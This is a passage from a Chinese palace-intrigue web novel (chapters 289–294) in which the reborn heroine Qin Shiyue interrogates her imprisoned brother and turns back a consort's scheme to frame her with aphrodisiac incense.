眼前是熟悉的环境,空气中是熟悉的味道,突然有人握住了她的手,秦时月心中一紧,却没有想要松开的意思。 “做噩梦了?”宋墨辰的声音很低,“别怕,我在。” 秦时月眨了眨眼,看到是宋墨辰坐在床边。 泪水,不争气的滑了下来…… 宋墨辰转身倒了杯温水,一回身就看到了她眼角晶莹的泪珠,顿时慌了一下,“怎么哭了?是不是哪里不舒服?我这就叫太医……” “宋墨辰。”秦时月突然抓住他的手腕,泪眼婆娑的看着他,“别走,我,有话想跟你说。” 闻言,宋墨辰忙回握住她的手在床边坐好,“我不走,月月,你慢慢说。” 房间里静了下来,她看着他的眼睛好一会儿,才张开嘴,“我,瞒了你一些事……” 前世的事,太过匪夷所思,所以她一直没想过告诉任何人,包括宋墨辰。 可今天发生的事,让她太过措手不及,有些事,或许,该和他说清楚。 宋墨辰的动作顿了顿,没开口,只是静静地看着她。 秦时月的心跳很快,瞳孔或许因为慌乱,产生了细微的变化,“我要说的事,很荒唐,很可怕,很……不可思议,但都是真真切切发生过的。我先前一直不敢说,怕你觉得我是疯子。” 闻言,他皱皱眉,随后,一脸心疼的伸手替她理了理额前的碎发。 每个人的心中都有秘密,他尊重她的秘密,他唯一期许的是,她能快乐一些。 “月月,如果你还没做好准备,可以晚些再告诉我。” 今日她经历了太多,她口中的秘密如果让她想起了一些不愉快的事,那他,宁愿一辈子不知道。 “你不介意我瞒了你?”秦时月疑问。 宋墨辰认真看着她的眼睛,声音温柔,“我见过你最耀眼的样子,也见过你最狼狈的样子。你的过去我没机会参与,我只希望我能让你忘记曾经的所有不快。” “可是……”秦时月有些哽咽。 “那些都不重要,重要的是,那些事已经过去了,现在抱着你的人是我,守着你的人是我,以后陪着你的人,也只会是我。”宋墨辰紧紧抱着她,低声呢喃。 他知道秦家人对秦时月不好,大概能猜到,她口中的秘密,八成和秦家遭遇的一切有关。 可那又如何?只要他的月月高兴,便是这天下,都可做她眼下的棋局! 闻言,秦时月怔愣一下,她抬眸看着宋墨辰,他眼底的坚定像是破冰的暖阳,逐渐温暖了她慌乱不已的内心。 是啊,她到底在怕什么呢? 是怕他不信自己?还是怕如今的她重走老路? 秦时月突然笑了,“嗯,你说的对,既然这样,等我想好以后再同你说。” “好。”宋墨辰立刻回应,“咱们来日方长,不着急。” 他拿起旁边的薄毯,盖在秦时月的身上,垂头在她额头上轻轻落下一吻,“你刚发过汗,身子虚,先好好歇着,我就在这陪你,哪都不去。” 秦时月点点头,心,渐渐安定下来。 眼皮很沉,她在睡着前忍不住想:等她身子好一些,她一定要告诉他,自己曾经怎样活过,又怎样,死过…… 翌日一早。 秦时月睁开眼就看到了单手支着下巴,靠在床边睡着的宋墨辰。 她眼神一柔,忍不住伸手,指尖轻轻触碰了一下他的眉眼。 这男人生来一幅好皮囊,剑眉星目,鼻梁高挺,薄唇紧抿时带着几分不易接近的冷冽,可此刻,许是睡着的原因,竟透着几分难得的柔和。 “月月,你醒了?有没有哪不舒服的?” 秦时月心头一跳,原本还有些发白的面色瞬间红透,“没,没有。对了,秦怀瑾怎么样了?” 她有些不好意思面对他,几乎下意识的将话题引到了秦怀瑾身上。 她虽然不想秦怀瑾死,但这个人存在,始终是个隐患。 “在王府暗室里。”见她无碍,宋墨辰松口气,起身活动了一下发木的身子。 “审过了吗?” 宋墨辰回答得干脆,“没有。我想着他到底是你兄长,所以没动他,只等你醒来,亲自审,怎么处理,全由你说了算。” 秦时月抬起眼,紧抿着唇道:“我想去见见他。” 宋墨辰似乎并不意外,只是有些担忧,“暗室里阴寒得很,你刚退了烧,身子还虚,过几天再去吧,不急于一时。” “我没事。”她打断他,眸色深深,“有些事,我必须当面问清楚。” 她必须知道,秦怀瑾到底是不是真的和她一样,带着前世的记忆回来了。 看着秦时月的眼睛,宋墨辰沉默了片刻,终究还是松了口,“好,那我陪你去。” “不用了,我想单独见他。” 闻言,宋墨辰又皱起了眉头。 “我只是想问几句话,不会出事的,有些话,当着你的面,他未必肯说。”她捏着他的袖口,轻轻拽了拽,一股撒娇的味道。 “好。”终究,他还是妥协了。 片刻后,侍女进来伺候她换了身厚实些的衣裳,又裹了件素色披风,宋墨辰这才抱着她下床,将人带到了王府的暗室里。 第289章 套不出有用的话 铁门被拉开,一股潮湿的寒气扑面而来,秦时月和宋墨辰对视一眼后,拍拍他的肩膀,示意他放自己下来,然后孤身一人走进暗室。 秦怀瑾听到动静猛地抬头,当他看清来人是秦时月时,突然剧烈地挣扎起来,但手上和脚上的铁链让他无法挣脱。 “是你!你来干什么!”秦怀瑾嘶吼道:“你这个贱人毁了我,我的人生不该是这样的!” 秦时月站在离他几步远的地方,冷眼看着他抓狂的样子。 “秦怀瑾,你在说什么胡话?” 闻言,秦怀瑾愣了一下,随后更加激动,“我在说什么?我在说前世!你明明也记得,你都记得!” “前世,什么前世?”秦时月挑眉,“兄长怕不是被关糊涂了,这些虚无缥缈的东西也信。” 秦怀瑾疯狂摇头,“你不可能不记得,你当时的行为分明是记得,你就承认吧,你拥有前世的记忆!” “够了!”秦时月再次打断他,“秦怀瑾,我看你是真疯了,什么前世今生,全都是你臆想出来的。” “不,不可能……”秦怀瑾的眼神开始涣散,像是陷入了巨大的自我怀疑,“你明明是害怕鞭子的……” “我作为一个弱女子,害怕鞭子不是很正常的吗?” 他到底是自己的同胞兄长,秦时月做不到亲手处死他,但为了避免更多麻烦,她绝不能承认。 听到秦时月这番话,秦怀瑾疯了,被梦境逼得失去了理智,眼睛不断震颤。 秦时月等了片刻,见他还陷在自己的思绪里,便轻轻咳嗽了一声。 他猛地抬起头,眼睛里布满血丝。 “看来你还没完全疯。”秦时月开口,“与其在这里纠结那些有的没的,不如想想眼下的事。” 秦怀瑾没说话,只是死死盯着她。 她也不在意,自顾自地往下说,“安嫔娘娘最近在宫里很是风光,这里面,是不是有兄长的手笔?” “安嫔在宫里多年一向低调,怎么会突然就如此冒进?赵家更是……这背后,总该有人推波助澜吧?” “我不知道你在说什么。”秦怀瑾眼中带恨,瞪着秦时月的目光里带着不甘心的探究。 “不知道?”秦时月冷哼一声,“兄长上个月去了赵家三次,而赵家又和安嫔扯上了关系,这里面的弯弯绕绕,真当我猜不到?” 闻言,秦怀瑾猛地抬起头,“你跟踪我!?” 秦时月直接承认,“不错。想利用八皇子,你们也算是打了一手好算盘。” “你少信口开河,我与赵家不过是旧识,偶尔走动罢了。” 她不屑的笑了笑,“是不敢承认,还是怕说了会被灭口?” “我根本不知道你在说什么。”秦怀瑾眼神闪躲。 看着他嘴硬又心虚的样子,秦时月叹了口气,“也罢,你不想说,我也不逼你,反正你说不说,都改变不了什么。” 她不过是为了转移话题,他真正的心思,根本瞒不住她。 “你,什么意思?” “意思就是,你们的谋划,我大概能猜到七八分,秦怀瑾,你们这点伎俩,在真正的棋局里,不过是跳梁小丑罢了。” 秦怀瑾张了张嘴,却不知太如何反驳。 看着他眼底的动摇,秦时月嘴角勾起一抹冰冷的弧度,“怎么?现在开始怕了?” “放心,我会让你亲眼看看着,你费尽心机谋划的一切,最后不过是自掘坟墓。” “你!贱人!” 秦时月没理会他,转身往门口的方向走去,声音缓缓传来,“我会让你亲眼看着你们是怎么亲手把自己送进地狱的。” 看他的样子,应该也套不出更多前世的事情,既然这样,她便没什么可担心的。 宋墨辰一直候在暗室外,秦时月一出现,他立刻走过来握住了她的小手,“里面阴寒,待了这许久,还好吗?” 秦时月摇摇头,刚要说话,就觉得一道温润的力道将她拉进了怀里,小手被他置于劲腰两侧,暖的让人浑身发烫。 “我让厨房煮了姜茶,回去趁热喝。” “你一直在这儿等着?”秦时月俏脸微红,迟疑问道。 宋墨辰笑了笑,轻描淡写道:“也没等多久。刚让人去取了你爱吃的水晶糕,这会儿该送到房里了。” 他长臂一伸,轻松将她打横抱起。 “谢谢,但,安嫔和赵家那边,怕是要动起来了。” 秦怀瑾突然失去联系,那两方人马只怕要坐不住了。 宋墨辰脚步顿了顿,“你打算如何处理?” “以静制动。”秦时月抬头看他,“秦怀瑾说不说都一样,他们的尾巴早就露出来了,与其堵着,不如顺着他们的意,让他们把心思全摆到明面上。” “需要我做什么?”宋墨辰直言。 “不用,如果需要你出手,我会和你说的。”秦时月笑了一下,安心的窝在他的怀里。 说话间两人已到卧房,侍女正端着托盘往外走,见了他们连忙行礼。 “先喝姜茶,休息一下。” 秦时月接过姜茶,眼神望向窗外,突然开口,“我想进宫一趟。” “进宫?”宋墨辰担忧的看向秦时月。 如今她的身体…… “我想去宫里看看。”秦时月喝了口姜茶,“你不会阻止我吧?” 宋墨辰笑了一下,接过她手里的空杯子,道:“自然不会,昨儿母后还让人递了话,说许久没见你,想你的紧,让你得空了进宫陪她吃顿便饭。” 去宫里也好,他下朝后,正好陪她用午膳。 “那正好,借着请安的由头进去,也不会显得突兀。”秦时月回应。 “我让人安排。”宋墨辰说,“午后我正好要进宫,你随我一道进去。” 秦时月摇摇头,“不用,你有事要忙,让小荷跟着就行,宫里有皇后娘娘照拂,不会出什么岔子。” 虽然有些不舍,但宋墨辰还是点了点头。 午后,阳光正好,马车缓缓驶离王府,朝着皇宫的方向而去。 马车行至宫门口,秦时月扶着小荷下车,眉眼在暖阳的照耀下格外亮眼。 第290章 稚子无辜 “小姐,王爷交代,若您有事,让我到养心殿找他。”小荷扶着她,笑的眉眼弯弯。 王爷定是爱惨了小姐,否则,也不会事事放在心上。 “我知道了。”秦时月点点头,对着她笑了笑,“走吧。” 凤仪宫。 嬷嬷正站在台阶下候着,见到秦时月,立即迎了过来,“县主来了,娘娘念叨好几日了。” “劳嬷嬷久等。”秦时月屈膝行了个礼。 进了正殿,皇后正坐在靠窗的软榻上,听见动静,她抬起头,眼前一亮,“时月来了。” “给皇后娘娘请安。”秦时月走上前作了一揖。 皇后招手让她到身边来,拉着她的手细细打量,“几日不见,怎么清减了这么多?是不是辰儿没好好待你?” “回娘娘,王爷待我好着呢,是我自己前些日子贪凉,受了点寒,看上去有些虚弱。”秦时月笑着摇摇头,面上看不出不妥,心里却不再像之前那般亲热。 她知道皇后娘娘待她是真心的,但,皇后娘娘想要为宋墨辰广纳后宫,也是真的…… “那可得仔细养着。”皇后立刻吩咐道:“去把库房里那盒进贡的千年人参拿来,送给时月补身子。” “谢皇后娘娘。”秦时月立刻道谢。 “你跟本宫客气什么?快过来坐。” 待嬷嬷退下后,皇后勾勾唇,漫不经心开口,“前几日安嫔来问安,瞧着脸色不大好,说是八皇子身子不适,她忧心坏了。” “八皇子怎么了?”秦时月佯装不知。 “还能怎么了?还不是为了脸上那点伤。”皇后冷笑一下,“安嫔这阵子快把太医院的人都叫遍了,日日围着八皇子的脸打转,恨不得把所有珍贵药材都往他脸上抹,可惜啊,见效甚微。” 众所周知,想坐上那个位置,自然得有张能拿出手的脸。 容貌可是门面,若是脸上带了疤,即便坐上那个位置,也难免会被人非议。 安嫔这是急疯了。 “时月,在想什么呢?”皇后见她半天没说话,忍不住笑着拍了拍她的手背。 秦时月抬起头,笑了一下,“娘娘,我想求您件事。” “你说。”皇后饶有兴致地看着她。 “我想以医者的身份进宫,给八皇子医治。”秦时月语气认真,“我有几个专治疤痕的方子,或许能派上用场。” 闻言,皇后脸上的笑意淡了下去,“你为何要帮他们?你该知道,他们一心想抢那个位置,帮他们,便是陷辰儿于不利之地啊。” 这些日子,皇后看到了安嫔和赵家的野心,八皇子的脸若是好了,安嫔定会借着这个由头生事。 虽说他们成不了气候,但皇后不喜欢事情超脱掌控的感觉,即便只有一成可能,她也要将其掐死在摇篮中。 “娘娘。”秦时月摇了摇头,笑道:“我不是要帮他们,我是觉得,稚子无辜。” “可是……” “娘娘,若是他的脸一直不好,安嫔或许还会收敛些,知道自己没那个命。可若是我让他们看到希望,让他们觉得这疤痕能消,让他们以为老天爷都在帮着八皇子……希望越大,才会越绝望,不是吗?” 听到这话,皇后立即明白过来她话里的意思,顿时失笑,“你这丫头,原来打的是这个主意。” 是啊,若是给了他们天大的希望,让安嫔和赵家以为八皇子能保住,让他们卯足了劲往前冲,就能露出更多破绽,等到最后,当他们发现所有的努力都是白费…… 那种从云端跌进泥里的滋味,可比一直没希望要难受得多,这才是真正的诛心! “好,就按你说的办。”皇后点了头。 “来人!”绘春应声而入,“明儿去安嫔宫里递个话,就说明月县主听闻八皇子脸上的伤总不好,心里着急,想进宫给八皇子看看。” 绘春福福身子,恭敬道:“是,奴才这就去安排。” 秦时月和皇后简单地叙了会儿家常后,便在宫人的引路下往安嫔寝殿走去。 安嫔得到消息后,身旁的宫女小心翼翼问道:“娘娘,这明月县主突然要来,会不会是知道了些什么?” 想起那截断指,安嫔攥紧拳头抬眼,“不过是皇后派来的眼线罢了,八皇子的脸,多少名医都束手无策,她一个黄毛丫头,凭什么敢夸海口?” 锦绣的手指头必然是秦时月的手段,她竟然还敢到自己面前! 在安嫔看来,秦时月今日过来不是为了八皇子,而是为了先前马球场一事。 她既然敢害安锦绣至此,八成是知道了什么,来兴师问罪的。 若不是秦时月有宋墨辰和皇后护着,她不方便出手,她定然要秦时月血债血偿,有来无回! 如今她只有八皇子,无论如何,首要任务是将八皇子的脸治好,只有这样,他们才能有和宋墨辰对抗的资本。 “娘娘说的是。”侍女恭敬垂首提醒,“明月县主差不多快到了。” 闻言,安嫔转过身,冷笑道:“既然她送上门来,那咱们,也不能太薄待了她,去准备准备。” 就算这秦时月是皇后的人又如何?这里是她的宫殿,不能对秦时月动手,小惩大诫,提点提点她倒是不伤大雅! 不一会儿,秦时月来到安嫔宫里。 此时,安嫔靠在软榻上,手中把玩着一把金丝扇子,故意假装走神,未曾瞧见秦时月的样子。 对此,秦时月并没有什么情绪,而是对安嫔作了一揖,“臣女参见安嫔娘娘。” 听到声音,安嫔这才抬眼,将她上下打量了一番,“明月县主来了。听皇后娘娘身边的人说,你是来给皇儿治病的。你真能治好皇儿的脸?” 秦时月浅浅一笑,“臣女不敢保证能治好八皇子,但我会尽力一试。” “不能保证还来?是把皇儿当试药者了吗?”安嫔嗤笑一声,“县主这话若是传到皇上耳朵里,怕是要治你个大不敬之罪。” “娘娘。”秦时月抬眼,对上安嫔的眼睛,丝毫没有畏惧。 仔细看来,安嫔长得和安锦绣确实有几分相似,尤其眼里那抹算计人的神色,更是如出一辙。 可惜啊,她们一样,太过愚蠢。 第291章 来自辰王的担心 “娘娘应该知道我的医术,如果我都治不好八皇子,哪怕是天下无人敢治好他的脸。”秦时月冷眼说了一句。 空气中的气氛突然变得紧张起来,安嫔怒不可遏的盯着她。 见状,秦时月意识到不能让两人之间的气势太过剑拔弩张,于是稍微缓和道:“娘娘,在下是外女,说话不好听,还请多担待。” 安嫔看着她的模样,死死的攥紧了手中的扇子,强迫自己压下心中怒气。 “担待是自然的。”安嫔忽然话锋一转,忽的看向她的手腕,“本宫听闻这镯子是皇后娘娘赏的,县主既与中宫亲近,又何必来招惹本宫?” “臣女与辰王殿下有婚约不假,但臣女同样是个医者。” 闻言,安嫔眼神暗了暗,点点头,“确实。本宫虽与长乐侯府没有什么交往,但听闻秦家大公子家学渊博,与赵家也有些交情。” 这话带了些试探的意思。 “臣女不知。”秦时月笑答。 她知道安嫔是在试探,不过,她的试探太明显,也不知是真蠢,还是装的。 不过,这也说明安嫔与赵家并没有完全绑定,他们之间的合作还是能被破坏的。 “县主年纪轻,不知道也正常。”安嫔顺势说道:“县主可知我有个庶妹,想来应该和县主差不多年岁。” 秦时月垂下眼帘,“知道的,前两日在马球场见过。” “是啊,前两日还好好的,但不知是被谁暗地里下了黑手……可怜我那妹妹了。”安嫔一边说着一边观察秦时月的表情。 “娘娘身居高位,该想些宽心的事,总盯着娘家的事,反倒累着自己。”秦时月故意说道。 这是给安嫔的警醒。 闻言,安嫔便明白了她话里的意思,现在她可以确定,伤害安锦绣的人就是秦时月! 既然秦时月自己送上门来,那就怪不得她了! “到底是本宫的母家,打断骨头连着筋。罢了,不说那些了,县主既然是来看皇儿的,那便进去看吧,他的脸一日不好,我便一日宽不了心!诊治这些日子我会让人将偏殿收拾出来,你好住进去。” 把人放在自己眼皮子底下看着,就不信她能捅出什么幺蛾子! 安嫔掀起眼皮,眼里充满了算计。 秦时月对着安嫔福了福身,“既然娘娘急着看成效,那我这就去看看八皇子,只是丑话说在前头,这药得日日敷,见效慢,娘娘可别急。” “自然。”安嫔笑了一下,招手示意侍女将秦时月领过去。 秦时月提着药箱,离开寝殿后,一脸淡然的往八皇子宫殿的方向走去。 与此同时,宋墨辰正在养心殿内批着奏折。 算算时间,月月进宫也有一会儿了,不知她那边忙完了没有…… 他并不知道秦时月今日进宫的目的,只以为她是许久不见皇后娘娘,进宫来叙旧的。 眼下天色已黑,若她出宫,他也好送送。 想到这,宋墨辰伸手揉了揉眉心,然后站起身看向后宫的方向,“凤仪宫那边有动静吗?” 侍书躬身道:“回殿下,王妃一早出了凤仪宫,往安嫔娘娘宫里去了。” “!”宋墨辰有些意外。 如今安嫔的心思昭然若揭,月月此时过去说不准会有危险,真是太胡来了。 想到这儿,他眼神一凛,抬脚便往宫外走去。 刚跨出养心殿,他突然想到了秦时月的交代。 虽然他不知道秦时月想要做什么,但进入安嫔宫里,说不定是她计划中的一环,自己不能在这个时候给她添乱。 可他又实在放心不下,皱皱眉,冷声道:“你去安嫔宫里守着月月,确保万无一失。” 侍书一愣,“殿下,如今的形势……属下留在您身边更稳妥。” “不用,本王身边又不止你一个。”宋墨辰打断他,眸光幽深,“你去了不必做什么,只需保护好月月。安嫔的人再不长眼,也得掂量掂量,打我的人的主意,会是什么下场!” 侍书这才明白,殿下这是怕王妃在安嫔宫里受委屈,这才特意派他过去。 他不再多嘴,恭敬领命,“属下遵命。” 紧接着,宋墨辰从袖中取出一枚令牌丢给他,“拿着这个,告诉月月,放心做她想做的,天塌了,有我顶着。” 侍书接过令牌,再次行礼,“属下遵命!” …… 次日一早,侍书的出现才惊动了安嫔。 “你说什么?侍书?在宋墨辰身边寸步不离的侍书?” “是他。”嬷嬷急得满头大汗,“人就在偏殿门口,看样子守了一夜,听宫人说,他手里还拿着辰王的令牌,宫里的侍卫根本拦不住!” “他可带了什么话?”安嫔面色不悦。 嬷嬷皱皱眉,思索道:“倒是什么都没说,那一脸生人勿近的样子,宫里也没人敢问……” 安嫔气得浑身发抖,指着殿门怒骂,“宋墨辰这是明摆着打我的脸!他当我储秀宫是什么地方!?想来就来,想安插人就安插人!?” “娘娘息怒!”嬷嬷连忙跪下,“现在不是生气的时候,侍书身份尴尬,他留在咱们宫里,咱们的人怕是没办法对秦时月下手。” “我知道!”安嫔深吸一口气,努力让自己冷静下来。 侍书不能动,若是被宋墨辰查出来,别说争储,怕是整个安家都会陷入万劫不复之地。 安嫔强忍着怒意,冷声开口,“去偏殿看看,他们在做什么!” 这笔账,她记下了。 经过宫女的探查,安嫔发现,侍书当真寸步不离的守着秦时月,这必然是宋墨辰的命令。 这该如何是好? 难不成,要求助于赵家? …… 入夜后,赵府。 赵太傅看完宫女带来的,安嫔的亲笔书信,脸色阴沉,“你的意思是,侍书寸步不离地守着秦时月?” “是。”宫女点头,“白日里跟着她去八皇子寝殿,夜里就在偏殿外守着,根本找不到下手的机会。” “安嫔想要对秦时月出手?”赵太傅问道。 “是,娘娘说了,秦时月是安家和赵家共同的敌人。” 第292章 谋算? 闻言赵太傅冷笑一声,他早就想除掉秦时月了,正好可以借安嫔的手,让秦时月那个贱婢死无葬身之地! 他猛地拍了下桌子,“说的是,陛下的身子一日不如一日,宋墨辰的势力越来越大,护的也紧,再不动手,赵家和安家就真的没活路了。” 说完,赵太傅凑近宫女,眼神狠戾的说道:“你回去告诉娘娘,明日晌午让她想办法支开侍书,剩下的,赵家的人会帮她的。” 虽然赵家的势力大不如前,但宫里依旧有赵家的人,那是太后还在时培养起来的心腹。 不到万不得已,赵太傅并不想动用那些人,可如今是特殊情况,此时不动,以后怕是再没有机会动了…… “可是……”宫女有些犹豫。 “只要侍书离开半个时辰,就足够我的人动手了。”赵太傅的眼里充满了决绝。 只要杀了秦时月,宋墨辰必然痛不欲生,到时候他们再拥护八皇子上位,这个江山,始终都有他赵家的一席之地! “告诉安嫔,这事成了,八皇子的脸,我会请最好的御医来治,她的仇,我也会帮她报。”赵太傅凶狠的说道:“但若是成不了,那就是她一人所为,与赵家无关。” 宫女连忙点头,“是,奴婢这就回去报信。” 侍女离开赵家后,直接回了宫里。 安嫔听完回话,久久没有说话。 她早知道自己和赵家只是合作关系,若是自己对赵太傅没有利用价值,赵太傅定然会弃车保帅。 虽然八皇子现在是由她抚养,但后宫并不只有她一个妃嫔,若是她没有价值,八皇子的养母将会是其他妃嫔。 可支开侍书,趁机拿下秦时月……一旦东窗事发…… 她相信赵太傅的计划足够周密,可她还是忍不住心里发慌。 秦时月不是寻常女子,侍书更不是好惹的,万一被他们知晓中了圈套,该如何是好? “娘娘,不能再犹豫了!”嬷嬷在一旁着急的说道:“赵家说了,这是最后一次机会!若是错过,等辰王站稳脚跟,咱们连死都不知道怎么死的!” 安嫔闭上眼,犹豫再三,像是做了什么确定似的,猛地睁开眼,“好,就按他说的办。” 明日晌午,她要让秦时月知道,这个宫的主人是谁! 翌日。 秦时月正在偏殿内摆弄着给八皇子做的药膏,突然一个身穿桃粉色的宫女跑了进来。 那宫女像是没有见到秦时月一般,对着侍书就跑了过去。 “侍书大人!求求您发发慈悲!”宫女带着哭腔,说道:“方才我给八皇子煎药,手一抖,不小心把药罐摔了,嬷嬷要把我拖去浣衣局,求侍书大人救我……” 侍书眉头微拧,面色不变。 这小宫女侍书曾经见过,是八皇子身边伺候的,好像叫春桃。 不过,她出了事,为何不去找八皇子,反而来找自己? 看到这一幕,秦时月心中有了猜测,她笑了一下,放下手中的草药,静静的看着春桃。 这场游戏,越来越有趣了。 见侍书不搭理自己,春桃继续恳求,“那里的嬷嬷打人最狠了,去年有个小宫女被打得皮开肉绽,三个月下不了床,我,我实在是没办法了,求求你侍书大人,救救我。” 侍书无语蹙眉,“这是你们宫里的事,与我无关。” “可是,侍书大人,我爱慕你,你要是不救我,我就活不成了!”春桃说的恳切。 听到这话,秦时月连忙竖起耳朵。 天哪,没想到啊没想到!这小丫头为了达成目的,这种话都说得出来。 侍书立即后退一步,和春桃保持距离,“这位姑娘,我和你并不熟悉。” “侍书大人当真要看着我去死吗?” “你……”侍书眉头一拧,脸色冷若冰霜。 其他人于他,生死无关,不过,他没经历过这种场合,一时有些不知该如何处理。 侍书看向秦时月,眼神里带着恳求。 秦时月抬眼看向春桃,漫不经心道:“多大点事,值得哭成这样,不就是个药罐么,我赔给他们便是。” 闻言,春桃愣了愣,见她搭话,哭得更凶了。 “县主不知道,那药是太医院刚送来的珍品,说是用了数味珍惜草药熬的,全宫就这么一份……” “侍书,”秦时月转向侍书,似笑非笑道:“既然这样,你就去看看吧,左右我这儿也没什么事。总不能真让个小丫头因为这样的小事丢了性命。” 侍书心里犯嘀咕,总觉得这事儿透着蹊跷。 可他看着秦时月那别有用意的眼神,话到嘴边又咽了回去。 “带路。” “是,侍书大人。”春桃连忙带路。 望着两人离开的背影,秦时月勾唇轻笑,她知道,这场戏要开始了。 支走侍书,不就是想让她落单吗? 不过…… 秦时月把玩着手中冒着寒光的匕首,忍不住暗道:她对他们的心思了如指掌,他们对她,又知道多少呢? 就在这时,八皇子的贴身嬷嬷走了进来,“县主,殿下午觉醒了,可以换药了。” “走吧。”秦时月提着药箱起身。 进入八皇子寝殿后,她很快发现殿里静得出奇。 往常这个时辰,八皇子总会在软榻上等着她换药,今儿个却空荡荡的。 不过,桌上多了一个香盏,香盏里似乎正在燃烧着什么香,味道有些大,让秦时月有些头晕。 “八皇子呢?”秦时月抬手揉揉太阳穴,疑惑的问到。 “回县主,方才太医院的李太医来了,说要给殿下请脉,奴婢这就去请他们过来,您先坐着歇会儿,奴婢去去就回。” 说罢,嬷嬷福了福身,转身往外走,一转身,眼神就变了。 秦时月眉梢微挑,嘴角带着一丝冷笑。 这就按捺不住了?她倒要看看是什么药。 她掩着口鼻,稍微分辨一下不断冒出的香气,眼神一冷。 竟然是床榻间助情的东西! 呵,安嫔,你真是好的很! 秦时月冷笑连连,动作悠然的从腰间翻出一颗解毒丹吞了下去。 这是她自己研制的,可解百毒,区区助情药,根本不在话下。 第293章 中招?确实 就在这时,门外传来拖拽声,像是有人被捂住嘴在挣扎。 下一秒,寝殿门被打开,一个穿着侍卫服的男人被扔了进来。 只见那侍卫躺在地上哼唧着,不停再扯自己身上的衣服,显然是中了药,而且剂量比秦时月的大得多。 外面传来窸窸窣窣的声音。 “时辰差不多了,去报信吧。” “就说县主耐不住寂寞,在殿里跟侍卫行苟且之事,被咱们撞破了。” “放心,主子说了,只要抓了现行,就算是辰王也保不住她!” 脚步声渐渐远去,殿里只剩下侍卫和秦时月两人。 秦时月看着在地上挣扎的侍卫,摩挲着下巴无奈的摇了摇头。 安嫔和赵家倒是打得一手好算盘,这是想让她身败名裂,再扣个秽乱宫闱的罪名,直接从根上除掉她这个隐患。 只是他们未免太瞧得起这情药,也太瞧不起她秦时月了。 她蹲下身,从腰间拿出解毒丸给侍卫服下。 侍卫立即清醒过来,等他看清眼前的人后,顿时吓的直接跪了下去,“县,县主,卑职怎么在这儿?这是,这是哪儿?” 秦时月面色不变,淡定的给自己倒了杯茶水,“这里是八皇子的寝宫,说,你是哪个宫里的?怎么在这?” “卑职刚才在巡逻,一个宫女拦住我,说是八皇子丢了玉佩,让我帮忙找一下,卑职不敢怠慢,就跟着她走了。” “走到哪儿了?”秦时月追问。 “卑职不记得了,卑职只记得闻到一阵浓郁的花香,后面的事情,我全都不记得了。”侍卫这才反应过来自己是被算计了。 “县主,我真不知道是怎么回事!我就是个巡逻的侍卫,上有老下有小,家里还有个刚满月的儿子,求您饶了我这一次吧!我真的什么都没做啊!” 秦时月摆了摆手,“起来吧,不是你的错。你也是被人算计了。” 侍卫抬手抹了把脸上的汗,正想问自己该做些什么。 她却继续问道:“你还记得那个宫女的样子吗?” “记得。”侍卫重重点头。 “那就好,等着吧。”秦时月在心里冷笑一声。 没多久,门外传来影夜的声音,“主子,是我。” 下一秒,殿门被人打开,影夜侧身闪入。 “都查到了?”秦时月喝口茶水,笑的有些漫不经心。 “是。”影夜回禀,“是赵家与安嫔一起合谋设计您,昨夜安嫔的贴身侍女去过赵家。” “果然如此。”秦时月冷哼一声,转身看了眼身后的侍卫,“他是无辜的,把人带走吧。” 影夜拱手,“是。” 闻言,侍卫知道自己能出去了,连忙凑到门边。 影夜抬手将门打开,侍卫连忙跑了出去。 “接下来,按我的计划去做吧。”秦时月摆摆手,走到寝殿正中央坐好。 “是,属下这就去。” 待影夜离开后,秦时月看了眼桌上的香盏,淡漠的笑了一下。 戏台已经搭好,接下来就看安嫔了。 约莫一盏茶的功夫,她等的人没到,宋墨辰倒是闯了进来,他的身上还穿着朝服,显然是直接从朝堂上过来的。 他一眼就看见靠在桌边的秦时月,脸色瞬间慌了起来。 “你怎么来了?”秦时月笑了一下。 还不等她继续说些什么,皇后也带着人来了,她身后跟着的宫女太监都低着头。 看到殿里的两人,皇后眉头紧皱,“辰儿、时月,这是怎么回事?” 她刚用完早膳就听到宫女禀报,说是秦时月和侍卫在八皇子寝殿里私通。 她相信秦时月的为人,想着秦时月怕是落入了安嫔的阴谋里,她立即火急火燎的赶了过来。 但这寝殿内哪有侍卫的影子? “娘娘息怒。”秦时月站起身,“臣妾想邀请娘娘看一出戏。” 就在这时,影夜押着安嫔和赵太傅走了过来。 安嫔一路上都在挣扎,“你们敢动我!我是皇上亲封的嫔位!” “安嫔娘娘,别来无恙啊。”秦时月站直了身子,故意嘲讽道:“方才在偏殿和赵太傅聊得开心吗?” 闻言,安嫔愣住,眼神心虚,“你胡说八道什么!” 她探头看了看四周,发现寝殿内没有侍卫的影子,她的心里划过一抹不安,眉头也忍不住皱了起来。 难道计划失败了? “娘娘在找什么?”秦时月故意问道。 “我……”安嫔紧抿着下唇,眼神闪烁,“我听下人说,你和侍卫在这里私通,我是特意来劝你迷途知返的!” 秦时月故作疑惑,“哦?我进宫也不是一次两次了,可为什么,一入您的储秀宫,就传出了这样的事呢?难不成,那个侍卫是娘娘安排的?” “你这个贱人少攀蔑本宫!肯定是你勾引侍卫不成,想反咬我一口!皇后娘娘,您可千万别信她的鬼话!”安嫔立即慌了起来。 “是吗?”秦时月语气平静,“可我听说,是安嫔同……” 话还没说完,她的视线已经落到了赵太傅的脸上。 “县主这是什么意思!?”赵太傅脸色一变。 下一秒,影夜带回来一个身穿墨绿色襦裙的宫女。 见状,安嫔微微一笑,自认为有了把柄,理直气壮地问道:“翠竹,你说,是不是你亲眼看到明月县主和侍卫在这里苟合!” 宋墨辰眼神一暗,周身气压低沉。 他正要发作,下一秒,秦时月却用眼神示意他,让他看戏就好。 “奴婢确实看见有人在八皇子寝殿偷情。”翠竹支支吾吾的开口,眼神飘忽不定。 “县主,你还有什么话好说?”安嫔得意的盯着秦时月,眼神兴奋。 “安嫔娘娘别着急,这宫女的话还没说完呢。”秦时月噗嗤一声笑道。 她也太心急了…… 翠竹跪在地上直起身看着秦时月,下一秒却伸出手,直直的指向安嫔,“奴婢要告发安嫔,安嫔与赵太傅私通,秽乱后宫!” 安嫔脸上的得意之色还没褪去,听到这话,当场如遭雷击,浑身冰冷。 她怒不可遏地瞪着翠竹,一脸杀意,“贱婢!你,你什么意思?你竟然敢诬陷本宫!” 第294章 秽乱后宫被拿下 赵太傅也愣了一下,他连忙对着宋墨辰、皇后下跪磕头,“殿下,娘娘,老臣与安嫔娘娘清清白白,求殿下明鉴。” “我杀了你这个叛主的狗奴才!” 说着,安嫔疯了般挣扎起身,朝着翠竹冲了过去。 翠竹脸色一白,一边躲开跑到桌边,一边将香盏拿起,“王爷,奴婢有证据,这里面是催情香,是安嫔娘娘用来助兴的!” 